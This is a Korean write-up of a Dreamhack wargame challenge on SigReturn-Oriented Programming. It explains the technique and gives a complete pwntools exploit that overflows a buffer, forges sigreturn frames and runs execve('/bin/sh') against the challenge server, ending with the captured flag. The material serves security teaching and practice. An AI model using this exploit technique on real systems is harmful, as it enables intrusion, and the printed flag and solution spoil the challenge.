dreamhack - SigReturn_Oriented-Programming writeup
[dreamhack] SigReturn_Oriented-Programming writeup
1. 문제

Exploit Tech: SigReturn-Oriented Programming에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3642. 풀이
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
간단한 bof 취약점이 존재하는 코드이다. 다만, SigReturn Oriented Programming
을 이용해서 풀어야한다.
2.1. SigReturn-Oriented Programming
ROP (Return-Oriented Programming)
의 변형 중 하나로서, sigreturn
시스템 콜을 활용해서 레지스터를 제어해서 수행하는 exploit 기법이다.
리눅스에서는 sigreturn
을 호출하면 유저 스택에 저장된 레지스터 상태를 복원한다. 따라서 공격자가 위조된 sigframe
구조체를 스택에 넣어 놓고 sigreturn
을 호출하면 임의의 레지스터 값을 설정할 수 있다.
즉, 일반적인 ROP처럼 여러 가젯을 조합하지않고도 단 한 번의 sigreturn
호출로 주요 레지스터를 원하는 값으로 설정할 수 있다.
그러나 조건이 좀 어려운데 아래와 같다.
- 스택에 위조된
sigframe
구조체를 설정할 수 있을 것 -
ROP
가젯 중pop rax; ret
,syscall
가젯이 존재할 것
2.2. srop 동작 과정
주요 동작과정은 아래와 같다.
- 1. 스택에 위조된
sigframe
구조체 설정-
sigreturn
호출 시 복원할 레지스터 값 설정 - ex)
rax
= system call 번호 (execve
: 59,read
: 0),rdi
=/bin/sh
주소 등
-
- 2. ROP 가젯으로
rax = 15
(sigreturn
) 설정-
pop rax; ret
가젯을 사용
-
- 3.
syscall
가젯 호출-
rax = 15
상태에서syscall
가젯을 실행하면 커널은 레지스터를 스택의sigframe
으로부터 복원하여 설정
-
- 4. 다시
syscall
을 실행하여 원하는 system call 실행- ex)
execve("/bin/sh", NULL, NULL)
실행
- ex)
2.3. pwntools의 SigreturnFrame() 함수
다행스럽게도 pwntools
에서는 SigreturnFrame()
함수가 존재하여 sigframe
구조체 설정을 매우 쉽게 해준다. 아래는 전반적인 동작과정을 포함한 코드 예시이다.
from pwn import *
context.arch = 'amd64'
p = process('./vuln')
# /bin/sh 주소
binsh = 0x601050
syscall_ret = 0x400123 # syscall; ret
pop_rax_ret = 0x400121 # pop rax; ret
# 1. sigreturn frame 생성
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
# 2. payload 작성
payload = b'A'*offset
payload += p64(pop_rax_ret)
payload += p64(15) # 15 = sigreturn
payload += p64(syscall_ret) # syscall 실행 → sigreturn 호출
payload += bytes(frame)
p.send(payload)
p.interactive()
2.4. exploit 시나리오
코드를 보면 srop
를 수행하기 쉽게 gadget()
함수에 pop rax; syscall; ret
가젯이 존재한다. 이를 활용하면 srop
를 수행할 수 있다.
exploit 시나리오는 아래와 같다.
- writable한 영역 (bss)에
"/bin/sh"
문자열을read
system call을 통해 쓰기 -
execve
system call을 통해execve("/bin/sh")
실행하기
우선 read
시스템콜에 활용될 sigframe
을 스택에 넣기위해 만들어보자.
# read "/bin/sh" on writable bss
frame = SigreturnFrame()
frame.rax = 0 # read
frame.rsi = elf.bss()
frame.rdx = 0x1000 # size
frame.rdi = 0 # stdin
frame.rip = syscall
frame.rsp = elf.bss()
그리고 아래와 같이 payload를 보내주면 sigreturn
이 실행되면서 위의 위조한 sigframe
이 레지스터에 들어가고, rip
의 syscall이 실행되어 read
가 실행된다. rsp
를 bss
영역으로 설정하는 이유는 그래야 read
를 통해 bss
영역에 입력할 다음 sigframe
을 레지스터에 다시 설정할 수 있기 때문이다. 다시 말하지만 sigreturn
은 스택에 넣어놓은 값을 기준으로 레지스터값을 설정하는 시스템 콜이다.
payload = b"a" * 16
payload += b"b" * 8
payload += p64(gadget)
payload += p64(15) # syscall(sigreturn)
payload += bytes(frame)
p.send(payload)
이제 execve
를 실행하기 위한 sigframe
을 새롭게 만들어보자.
frame2 = SigreturnFrame()
frame2.rax = 59 # execve
frame2.rdi = elf.bss() + 0x108 # "/bin/sh" 주소 (sigreturnframe 크기 0xf8 + p64(gadget) (8) + p64(15) (8)
frame2.rip = syscall
frame2.rsp = elf.bss() + 0x500
이게 좀 복잡해서 너무 어려웠다. 우선 rdi
에 무엇을 넣어줘야하지? 고민했는데 sigframe
의 크기가 애초에 0xf8
이라고 한다. 따라서 이 크기 + p64(gadget)
+ p64(15)
를해서 총 0x108
크기만큼 뒤에 "/bin/sh"
문자열이 위치하게 된다.
갑자기 건너뛰었는데 p64(gadget)
와 p64(15)
는 두번째 payload에 넣어줄 값이다. 첫번째 payload를 보내어 실행되고 나면, read
시스템콜이 호출되며, 우리는 두번째 payload를 보낼 수 있게 된다.
read
시스템콜이 완료되면 ret
가 실행되는데 ret
는 현재 rsp
가 가리키는 스택의 최상단 값을 pop
하여 rip
로 로드한다. 이때 rsp
는 첫번째 payload에서 bss
영역으로 설정해놓았기 때문에 이 위치에 원하는 주소를 가리키는 코드를 넣게 되면 해당 코드를 실행할 수 있다.
즉, gadget
주소를 넣어서 gadget
이 실행되도록 하는 것이다. 그러면 다시 한 번 스택에 원하는 레지스터 값을 설정하고 syscall
을 호출할 수 있게 된다.
이때도 rip
는 똑같이 syscall
주소로 설정하고, rsp
는 사실 이제 아무거나 해도되지만 이왕이면 에러나지않게 적당히 써주자.
전체 exploit은 아래와 같다.
from pwn import *
context.arch = "x86_64"
p = process("./srop")
p = remote("host3.dreamhack.games", 23002)
elf = ELF("./srop")
gadget = next(elf.search(asm('pop rax; syscall; ret')))
syscall = next(elf.search(asm('syscall')))
# read "/bin/sh" on writable bss
frame = SigreturnFrame()
frame.rax = 0 # read
frame.rsi = elf.bss()
frame.rdx = 0x1000 # size
frame.rdi = 0 # stdin
frame.rip = syscall
frame.rsp = elf.bss()
payload = b"a" * 16
payload += b"b" * 8
payload += p64(gadget)
payload += p64(15) # syscall(sigreturn)
payload += bytes(frame)
p.send(payload)
# execve
frame2 = SigreturnFrame()
frame2.rax = 59 # execve
frame2.rdi = elf.bss() + 0x108 # "/bin/sh" 주소 (sigreturnframe 크기 0xf8 + p64(gadget) (8) + p64(15) (8)
frame2.rip = syscall
frame2.rsp = elf.bss() + 0x500
payload2 = p64(gadget)
payload2 += p64(15) # syscall(sigreturn)
payload2 += bytes(frame2)
payload2 += b"/bin/sh\x00"
p.send(payload2)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/SigReturn-Oriented-Programming$ python3 e_srop.py
[+] Starting local process './srop': pid 2639966
[+] Opening connection to host3.dreamhack.games on port 23002: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/SigReturn-Oriented-Programming/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
$ id
uid=1000(srop) gid=1000(srop) groups=1000(srop)
$ cat flag
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
진짜 진짜 조심해야할 것. gadget
함수가 있다고 이걸 그대로 리턴함수로 덮으면 함수 시작할 때의 가젯인 push rbp; mov rbp, rsp
까지 모두 실행해버리기 때문에 꼭 pop rax; syscall; ret
가젯을 찾아서 하도록 하자… 이것 때문에 좀 삽질했다ㅠ
해결~